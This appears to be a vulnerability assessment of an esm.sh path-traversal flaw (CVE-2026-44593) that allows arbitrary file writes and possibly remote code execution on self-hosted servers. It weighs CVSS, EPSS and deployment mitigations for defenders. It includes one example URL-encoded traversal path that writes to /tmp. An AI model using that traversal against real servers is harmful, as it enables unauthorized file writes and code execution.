esm.sh CVE-2026-44593

Exploitation requires the target to be running a self-hosted esm.sh server at version ≤ 137 with the legacy router (the /v1xx/ compatibility routes handled by server/legacy_router.go) reachable by the attacker; the attacker must also control a public GitHub repository to supply the file contents that get written. No authentication, no user interaction, and no special privileges are needed (CVSS PR:N/UI:N), and the request is a single crafted HTTP GET using URL-encoded traversal sequences (%2f, %23, '../'). Limiting factors that reduce real-world risk: the arbitrary write only succeeds against paths the server process has write permission for, and escalation to RCE additionally requires that a writable path also be an executable/script location that is later run - so hardened deployments with an unprivileged service account, read-only root filesystem, or containerized/ephemeral storage substantially blunt the impact even if the file write itself succeeds.

The vendor CVSS 4.0 score is 8.7 (High) with vector AV:N/AC:L/AT:N/PR:N/UI:N and impact scored as integrity-only (VI:H, VC:N/VA:N), reflecting the confirmed arbitrary-file-write primitive rather than fully-realized RCE. In practice the write-then-execute chain (overwriting a binary/script the server later runs) can yield full code execution, so real-world integrity and availability impact is higher than the integrity-only scoring suggests. Countervailing signals: EPSS is very low at 0.06% (20th percentile) and there is no CISA KEV listing, indicating no confirmed mass exploitation. However, EPSS low + detailed public exploit is not contradictory here - the low probability reflects the niche self-hosted footprint, not exploit difficulty; the technique itself is straightforward and fully documented. One caveat to verify: successful RCE depends on the server process having write access to an executable path and on that path being executed, which is deployment-specific and not guaranteed on hardened, read-only, or containerized deployments.

A remote unauthenticated attacker hosts a malicious file in a public GitHub repository, then sends a single crafted URL-encoded request to a self-hosted esm.sh server (e.g. .../foo.md%23%2f..%2f..%2f..%2ftmp%2fpwned) that traverses out of the storage directory. The server fetches the attacker's file and writes its contents to the chosen path; by targeting a script or binary the server subsequently executes, the attacker gains remote code execution with the server's privileges. A full reproducible exploit is published in the GHSA advisory.